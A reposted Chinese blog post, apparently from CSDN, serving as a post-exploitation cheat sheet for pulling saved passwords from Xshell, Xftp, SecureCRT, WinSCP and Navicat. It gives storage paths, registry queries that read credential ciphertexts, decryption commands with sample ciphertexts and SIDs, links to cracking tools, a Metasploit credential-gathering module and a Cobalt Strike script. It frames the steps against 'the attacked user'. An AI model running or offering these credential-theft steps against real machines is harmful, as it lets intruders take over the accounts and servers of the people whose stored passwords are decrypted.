配置文件读密码

配置文件读密码

Xshell

工具:how-does-Xmanager-encrypt-password

全版本利用:https://github.com/JDArmy/SharpXDecrypt

位置:

xshell7:    C:\Users\%username%\Documents\NetSarang Computer\7\Xshell\Sessions
xshell6:    C:\Users\%username%\Documents\NetSarang Computer\6\Xshell\Sessions
XShell5:  %userprofile%\Documents\NetSarang\Xshell\Sessions
XFtp5:     %userprofile%\Documents\NetSarang\Xftp\Sessions
XShell6:   %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
XFtp6:      %userprofile%\Documents\NetSarang Computer\6\Xftp\Sessions

利用条件:
1.xln配置文件中的password
2.被攻击用户的当前用户的username与sid,username不用加域名。

解密方式

#查看用户名和sid
whoami /user

#利用用户名、sid对密码进行解密
python3 XShellCryptoHelper.py -d -user Administrator -sid S-1-5-21-917267712-1342860078-1792151419-512 zv21O1x43qRs3c5NckDHvh7ZAvuN1NSJl8ZFL11+UJ+82+KAixa89O3OTAfRTg==
.\SharpXDecrypt.exe

SecureCRT

SecureCRT 的session文件保存在如下位置:

在SecureCRT7或以下的版本中,配置文件中保存的凭证信息如下:

在SecureCRT8中,配置文件中保存的凭证信息如下:

可以看到二者hash长度不一致,版本也有区别,加密算法肯定不一致。

目前已知的SecureCRT7的加密算法,使用了两次Blowfish算法,密钥是硬编码的。

解密脚本:

https://raw.githubusercontent.com/Synacktiv/stuffz/master/VanDyke_SecureCRT_decrypt.py

WinSCP

WinSCP默认安装在C:\Program Files (x86)\WinSCP,其用户凭证可以保存在注册表或者配置文件中。

配置文件则在C:\Program Files (x86)\WinSCP\WinSCP.ini

C:\Users\USERNAME\AppData\Local\VirtualStore\Program Files (x86)\WinSCP\WinSCP.ini

若凭证保存在注册表,可通过修改上图中的配置存储项将凭证存储到文件中。

解密工具或脚本:

https://bitbucket.org/knarf/winscppwd/downloads/winscppwd.exe

https://raw.githubusercontent.com/anoopengineer/winscppasswd/master/main.go

https://raw.githubusercontent.com/YuriMB/WinSCP-Password-Recovery/master/src/main/java/Main.java

注册表查询命令

查询注册表中winscp保存的密文

shell reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions"shell reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\[email protected]"

使用winscppwd.exe进行解密

winscppwd.exe root 192.168.80.164 A35C4A54D144F65B7DF0E8F42E3333286D656E726D6A6472646C726D6A682833332EFA7A248229B891A201911C3F588380D6

msf模块

meterpreter > run post/windows/gather/credentials/winscp

Navicate

Navicat 永远的神,这是实战最常见的一款数据库管理软件。提取过程:

方法一:

1.从注册表中查询host/username/pwd

reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ /s /v host
reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ /s /v username
reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ /s /v pwd

2.然后使用工具进行解密

https://github.com/HyperSine/how-does-navicat-encrypt-password
python NavicatCipher.py dec 5658213B

方法二:

直接工具一把锁哈https://github.com/uknowsec/SharpDecryptPwd/raw/master/SharpDecryptPwd.exe

SharpDecryptPwd.exe -NavicatCrypto

cs脚本

https://github.com/pxss/navicatpwd


凭据抓取

猜你喜欢

转载自blog.csdn.net/tomyyyyyy/article/details/126550468
今日推荐